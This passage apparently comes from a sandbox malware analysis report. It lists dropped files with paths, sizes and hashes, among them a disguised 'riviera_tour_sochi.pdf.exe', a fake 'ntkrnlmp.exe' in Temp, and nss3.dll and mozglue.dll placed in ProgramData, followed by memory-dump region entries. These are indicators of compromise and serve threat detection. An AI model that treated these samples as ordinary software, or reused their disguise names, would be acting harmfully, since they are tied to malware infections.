SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
-
C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txtFilesize
2KB
MD54a833602e7452a760506b2fccd0dd56c
SHA1adb214e4e1c8205912c5472a133e06d7e04844d8
SHA2568757de12a692ced2f25219446ae6bbd794fe05bc8e9174f14e86ed4a55c7ecd0
SHA512b8ea7efe8341cf30ccedd3cd3b4b9119e18d3889036429f4d3dae721886c0530a40c6fb305358696c6f2e72c919e426b9cf21bb546d54905585e2fa5229b3d7a
-
C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txtFilesize
4KB
MD564452e2524cbe2219bf7e33534c0349f
SHA1496705cafd588710da85d231fb44da95e4b83202
SHA2563a7d5e00d522e7210fe9058c3d0a4218796bc22725814d6e0557a8d8302c10de
SHA5121668196d4ededc681538c6acdc78e88d56f5e43c687745d68d17808fd0c4ab07a87b32dbcb71a707013087fe9da0fd2d829600cdc62af6ff3d7765972657ccb7
-
C:\Users\Admin\AppData\Local\Temp\ketix.iniFilesize
6KB
MD55c087b281ac0709c8f1066b7aeaff078
SHA16952ef067cf521d795c58645e52f8c2a9bfc3b24
SHA2564fef04e01d00862f6ccab97aca296cc0a4d6bd91e8553d0dc1b42570e86f2dae
SHA5126e755fa799f768d36e0c294b1ffa83b00e9bbb00388c06638b558dc34ffd1a3623a08e9b04243dfd8d1f31ba7554d6357193f8d2079e2ef1fa9708db5b4ff5f4
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exeFilesize
458KB
MD5619f7135621b50fd1900ff24aade1524
SHA16c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA5122c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628
-
C:\Users\Admin\AppData\Local\Temp\main\main.batFilesize
484B
MD5d57fe62e03f55b1802da7cc5a40356ba
SHA1a5208c2e019b31461091c2a4bb71ee4f381616d0
SHA25664159b9ffcc0ecc2e2743a921fff8211da6b4cba720f33a9d04f16df163f3b0a
SHA51225a2bc5f58124d692e60c9234c940a7d02029f1a059b40e2ce9393b4bae91b660b07c2bc7999241a774f1617ff6c7086001432c0cc28d6fdf6e1bcee7d864a12
-
C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
-
C:\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
-
C:\Users\Admin\AppData\Local\Temp\tmp82D6.tmp.batFilesize
168B
MD53f58e73c579418e28a9d78017691177a
SHA1e4abf8f0567ad90e33e58e7cff7339c5311f0dff
SHA256ee20ab6b3505a203ccd1a2db762f4f26b3557289cd31d3eea081dd7d9cfe4d18
SHA51247b814cdfe113a5ec91f015496d822902ac9f566c386ac8412a86ac1a1b4ac3675b7c2f37797246a5c236dd60a1656a18623b74940dcf86817f8b154110c5f63
-
C:\Users\Admin\AppData\Local\Temp\u1ig.1.exeFilesize
4.6MB
MD5397926927bca55be4a77839b1c44de6e
SHA1e10f3434ef3021c399dbba047832f02b3c898dbd
SHA2564f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
SHA512cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954
-
C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEventsFilesize
3KB
MD50b0b9090196d0431cddd9b782731ae09
SHA1d9a387c4f87880689a57f2e42055e00ddc4cb1d2
SHA256707b59c8c7483c38f87e35c8a6e978d304f941b947559acb1e9315983da7d7bc
SHA512df0d10859d93b86d13f37dbaf65a8ed2d5992a7fef91d54ed4e5cea71b6fc91bdac000c5afbe3908705460fa22b057ce25f411b4c52a1dadb6075efc980ac0da
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD50f6e21184834c77f970cf06711d7d344
SHA16285bea91caa42746e4782659da35b67450567c2
SHA256721120b06a3b1903a93c97f9252b4ba7a6fed39bc001024bdee2dfd09300e1c4
SHA51207e66f41b0de64474e2cdba364456a32892798fee8e42c3a900e5f665e40259c3c03afd96bab3878f4b433c63f29e9bfce631e84f516b6069cfc35b1a8dfc544
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G6BTYBODN4NJEHHFBX6J.tempFilesize
7KB
MD58800fd85b309d8a8087d04b256d0f785
SHA1986571850c6e9bdcf877460f989f55772d269234
SHA2564ff13dfa58f10d54dcdd6913eb62887d8f8b88b55a244bc26282dba40fedb13d
SHA512ae11896623d104cf7334353a07d925ac8ecbc8d56f3048e26a839023e627dcc29c193ee3c5bca017fa15e3873d3b1d95ee27e096fdd367cce352bc6a30fe8515
-
C:\Users\Admin\tbtnds.datFilesize
4KB
MD56223280dc380aeb1a9eb073f0e7da24a
SHA1ce91929e537eb5141fd90c5a28885a0d2b5850e6
SHA256dfaff57f0d18a2c5b905aa5b9e5edfd195b9d5e8452ee3fd19e5460d9dcf23d2
SHA51233db464abf83cb5b7a53de395a3c14b5cb2816fd05c73d3d9b58a8cf7225adac47512b2664a47fa2aa371150ba6f77c328d656546e9a6cafc3acc020eaaa69a1
-
\ProgramData\mozglue.dllFilesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
-
\ProgramData\nss3.dllFilesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
-
\Users\Admin\AppData\Local\Temp\2089531801.exeFilesize
84KB
MD5161a475bfe57d8b5317ca1f2f24b88fa
SHA138fa8a789d3d7570c411ddf4c038d89524142c2c
SHA25698fb81423a107a5359e5fc86f1c4d81ff2d4bc73b79f55a5bf827fdb8e620c54
SHA512d9f61f80c96fbac030c1105274f690d38d5dc8af360645102080a7caed7bad303ae89ed0e169124b834a68d1a669781eb70269bf4e8d5f34aeef394dd3d16547
-
\Users\Admin\AppData\Local\Temp\Files\ISetup10.exeFilesize
404KB
MD5b8d922472d6da5b157598c94b8677fa5
SHA1470c464307f86b53b7ed9d4785e68d1b12599448
SHA256458e3d9f3f51d58101a3b4d8496bceed86391b80c68aeba4aa1411c930094d8a
SHA512e24381bb55e8ba4216f72dcb520854265c0da7e1a87b18438999a217de50abebd9a6a5f9532ebea90a35599ee3217a1ec6780ef61f584a0d7604acc17e7fbf10
-
\Users\Admin\AppData\Local\Temp\Files\first.exeFilesize
66KB
MD58063f5bf899b386530ad3399f0c5f2a1
SHA1901454bb522a8076399eac5ea8c0573ff25dd8b8
SHA25612aa47db9b5a1c6fddc382e09046d0f48fbdce4b0736b1d5cfcf6f1018fdd621
SHA512c9e4e9e5efb7e5def5ae35047e4a6b6a80174eade2a2d64137f00e20d14e348c5852f9c1bac24d5dee4a6d43049b51517f677d504fbb9a413704eb9985f44f9f
-
\Users\Admin\AppData\Local\Temp\Files\pinf.exeFilesize
9KB
MD52ea6c5e97869622dfe70d2b34daf564e
SHA145500603bf8093676b66f056924a71e04793827a
SHA2565f28bba8bd23cdb5c8a3fa018727bcf365eaf31c06b7bc8d3f3097a85db037f3
SHA512f8f82b5875e8257206561de22ddbd8b5d9a2393e0da62f57c5a429ca233c7443c34647cc2253cf766bfaaf8177acb5c0627ab2f2418f5968f0a6fdec54244d43
-
\Users\Admin\AppData\Local\Temp\Files\riviera_tour_sochi.pdf.exeFilesize
18.0MB
MD55bcfa8f37baca2ce16991579bbcd6637
SHA1f4c72d1648382c032a3b4d6328c8ade887b141af
SHA256fd6bb9e388fa42c414eacafd6a094c746391fdd467584ac5af83883c29b88384
SHA512dc8e54f949c49eb0ca5447793f1ce2a447f5fdb9d85905933ad191553f482a9065467c9352447e4cf562a1555116a862e001e8aaab0b7921a0fbb1f0d95165cd
-
\Users\Admin\AppData\Local\Temp\Files\swiiii.exeFilesize
158KB
MD5586f7fecacd49adab650fae36e2db994
SHA135d9fb512a8161ce867812633f0a43b042f9a5e6
SHA256cf88d499c83da613ad5ccd8805822901bdc3a12eb9b15804aeff8c53dc05fc4e
SHA512a44a2c99d18509681505cf70a251baf2558030a8648d9c621acc72fafcb2f744e3ef664dfd0229baf7c78fb72e69f5d644c755ded4060dcafa7f711d70e94772
-
\Users\Admin\AppData\Local\Temp\Files\syncUpd.exeFilesize
272KB
MD531765c43b9bf0da3a52bfeb68733655c
SHA1c6ccc6b435e123ef62c4996a82019432cde58d4b
SHA25606d92df4f5d05897df05e9a9b89986a7b4e534cec4d46e3219d79c90edb645b2
SHA5120f4b867ff7680c2946f0c801b69157de9b2f5007030a1c17d15ac99d4acd1933e9515e48c9109206f4498f4c020ef89aca21c0de920609a77cef2c03d3258c92
-
memory/384-733-0x0000000002A10000-0x0000000002A90000-memory.dmpFilesize
512KB
-
memory/384-739-0x000007FEECB10000-0x000007FEED4AD000-memory.dmpFilesize
9.6MB
-
memory/384-720-0x000000001B420000-0x000000001B702000-memory.dmpFilesize
2.9MB
-
memory/384-723-0x0000000002270000-0x0000000002278000-memory.dmpFilesize
32KB
-
memory/384-696-0x0000000002A10000-0x0000000002A90000-memory.dmpFilesize
512KB
-
memory/384-697-0x0000000002A10000-0x0000000002A90000-memory.dmpFilesize
512KB
-
memory/384-694-0x000007FEECB10000-0x000007FEED4AD000-memory.dmpFilesize
9.6MB
-
memory/472-647-0x00000000021F0000-0x00000000021F1000-memory.dmpFilesize
4KB
-
memory/540-587-0x0000000000400000-0x00000000022E9000-memory.dmpFilesize
30.9MB
-
memory/540-148-0x0000000003D60000-0x0000000004158000-memory.dmpFilesize
4.0MB
-
memory/540-156-0x0000000003D60000-0x0000000004158000-memory.dmpFilesize
4.0MB
-
memory/540-157-0x0000000004160000-0x0000000004A4B000-memory.dmpFilesize
8.9MB
-
memory/540-161-0x0000000000400000-0x00000000022E9000-memory.dmpFilesize
30.9MB
-
memory/948-560-0x0000000074450000-0x0000000074B3E000-memory.dmpFilesize
6.9MB
-
memory/948-546-0x0000000001010000-0x000000000103E000-memory.dmpFilesize
184KB
-
memory/984-790-0x0000000000870000-0x0000000000D74000-memory.dmpFilesize
5.0MB
-
memory/1512-171-0x0000000000400000-0x0000000000474000-memory.dmpFilesize
464KB
-
memory/1512-195-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-205-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-190-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-189-0x0000000004500000-0x00000000045DC000-memory.dmpFilesize
880KB
-
memory/1512-219-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-180-0x0000000000400000-0x0000000000474000-memory.dmpFilesize
464KB
-
memory/1512-175-0x0000000000400000-0x0000000000474000-memory.dmpFilesize
464KB
-
memory/1512-178-0x0000000000400000-0x0000000000474000-memory.dmpFilesize
464KB
-
memory/1512-217-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-193-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-207-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-173-0x000000007EFDE000-0x000000007EFDF000-memory.dmpFilesize
4KB
-
memory/1512-172-0x0000000000400000-0x0000000000474000-memory.dmpFilesize
464KB
-
memory/1512-211-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-215-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-213-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-169-0x0000000000400000-0x0000000000474000-memory.dmpFilesize
464KB
-
memory/1512-167-0x0000000000400000-0x0000000000474000-memory.dmpFilesize
464KB
-
memory/1512-191-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-197-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-199-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-203-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-209-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1512-201-0x0000000004500000-0x00000000045D6000-memory.dmpFilesize
856KB
-
memory/1608-142-0x0000000074450000-0x0000000074B3E000-memory.dmpFilesize
6.9MB
-
memory/1608-184-0x0000000074450000-0x0000000074B3E000-memory.dmpFilesize
6.9MB
-
memory/1608-135-0x0000000000BE0000-0x0000000000C5C000-memory.dmpFilesize
496KB
-
memory/1608-147-0x00000000021D0000-0x00000000041D0000-memory.dmpFilesize
32.0MB
-
memory/1704-86-0x0000000000400000-0x0000000000569000-memory.dmpFilesize
1.4MB
-
memory/1704-85-0x0000000000400000-0x0000000000569000-memory.dmpFilesize
1.4MB
-
memory/1704-84-0x00000000002D0000-0x000000000033F000-memory.dmpFilesize
444KB
-
memory/1704-83-0x00000000006F0000-0x00000000007F0000-memory.dmpFilesize
1024KB
-
memory/1872-705-0x000007FEF4FE0000-0x000007FEF59CC000-memory.dmpFilesize
9.9MB
-
memory/1872-538-0x0000000001150000-0x0000000001166000-memory.dmpFilesize
88KB
-
memory/1872-564-0x000007FEF4FE0000-0x000007FEF59CC000-memory.dmpFilesize
9.9MB
-
memory/1872-714-0x000000001AD20000-0x000000001ADA0000-memory.dmpFilesize
512KB
-
memory/1872-572-0x000000001AD20000-0x000000001ADA0000-memory.dmpFilesize
512KB
-
memory/1984-612-0x0000000000400000-0x0000000002D22000-memory.dmpFilesize
41.1MB
-
memory/1984-72-0x0000000002E90000-0x0000000002F90000-memory.dmpFilesize
1024KB
-
memory/1984-323-0x0000000002E90000-0x0000000002F90000-memory.dmpFilesize
1024KB
-
memory/1984-324-0x0000000000220000-0x0000000000247000-memory.dmpFilesize
156KB
-
memory/1984-550-0x0000000000400000-0x0000000002D22000-memory.dmpFilesize
41.1MB
-
memory/1984-608-0x0000000002E90000-0x0000000002F90000-memory.dmpFilesize
1024KB
-
memory/1984-87-0x0000000061E00000-0x0000000061EF3000-memory.dmpFilesize
972KB
-
memory/1984-74-0x0000000000400000-0x0000000002D22000-memory.dmpFilesize
41.1MB
-
memory/1984-152-0x0000000000400000-0x0000000002D22000-memory.dmpFilesize
41.1MB
-
memory/1984-73-0x0000000000220000-0x0000000000247000-memory.dmpFilesize
156KB
-
memory/2040-1-0x0000000074450000-0x0000000074B3E000-memory.dmpFilesize
6.9MB
-
memory/2040-141-0x0000000074450000-0x0000000074B3E000-memory.dmpFilesize
6.9MB
-
memory/2040-143-0x0000000000670000-0x00000000006B0000-memory.dmpFilesize
256KB
-
memory/2040-0-0x0000000000BC0000-0x0000000000BC8000-memory.dmpFilesize
32KB
-
memory/2040-2-0x0000000000670000-0x00000000006B0000-memory.dmpFilesize
256KB
-
memory/2452-713-0x0000000003D50000-0x0000000004148000-memory.dmpFilesize
4.0MB
-
memory/2452-715-0x0000000000400000-0x00000000022E9000-memory.dmpFilesize
30.9MB
-
memory/2544-789-0x000007FEEC170000-0x000007FEECB0D000-memory.dmpFilesize
9.6MB
-
memory/2544-759-0x0000000001F30000-0x0000000001F38000-memory.dmpFilesize
32KB
-
memory/2544-756-0x000000001B2B0000-0x000000001B592000-memory.dmpFilesize
2.9MB
-
memory/2544-777-0x00000000027A0000-0x0000000002820000-memory.dmpFilesize
512KB
-
memory/2544-791-0x00000000027A4000-0x00000000027A7000-memory.dmpFilesize
12KB
-
memory/2544-773-0x000007FEEC170000-0x000007FEECB0D000-memory.dmpFilesize
9.6MB
-
memory/2544-779-0x00000000027A0000-0x0000000002820000-memory.dmpFilesize
512KB
-
memory/2564-695-0x0000000003C60000-0x0000000004058000-memory.dmpFilesize
4.0MB
-
memory/2564-604-0x0000000003C60000-0x0000000004058000-memory.dmpFilesize
4.0MB
-
memory/2564-605-0x0000000004060000-0x000000000494B000-memory.dmpFilesize
8.9MB
-
memory/2564-606-0x0000000000400000-0x00000000022E9000-memory.dmpFilesize
30.9MB
-
memory/2564-698-0x0000000000400000-0x00000000022E9000-memory.dmpFilesize
30.9MB
-
memory/2716-722-0x00000000010C0000-0x0000000001140000-memory.dmpFilesize
512KB
-
memory/2716-685-0x00000000012A0000-0x00000000017A4000-memory.dmpFilesize
5.0MB
-
memory/2716-701-0x000007FEF4FE0000-0x000007FEF59CC000-memory.dmpFilesize
9.9MB
-
memory/2716-721-0x0000000000630000-0x0000000000631000-memory.dmpFilesize
4KB
-
memory/2716-734-0x000007FEF4FE0000-0x000007FEF59CC000-memory.dmpFilesize
9.9MB
-
memory/3060-613-0x0000000074450000-0x0000000074B3E000-memory.dmpFilesize
6.9MB
-
memory/3060-615-0x0000000000860000-0x0000000000880000-memory.dmpFilesize
128KB
-
memory/3060-652-0x0000000002020000-0x0000000002060000-memory.dmpFilesize
256KB
-
memory/3060-670-0x0000000074450000-0x0000000074B3E000-memory.dmpFilesize
6.9MB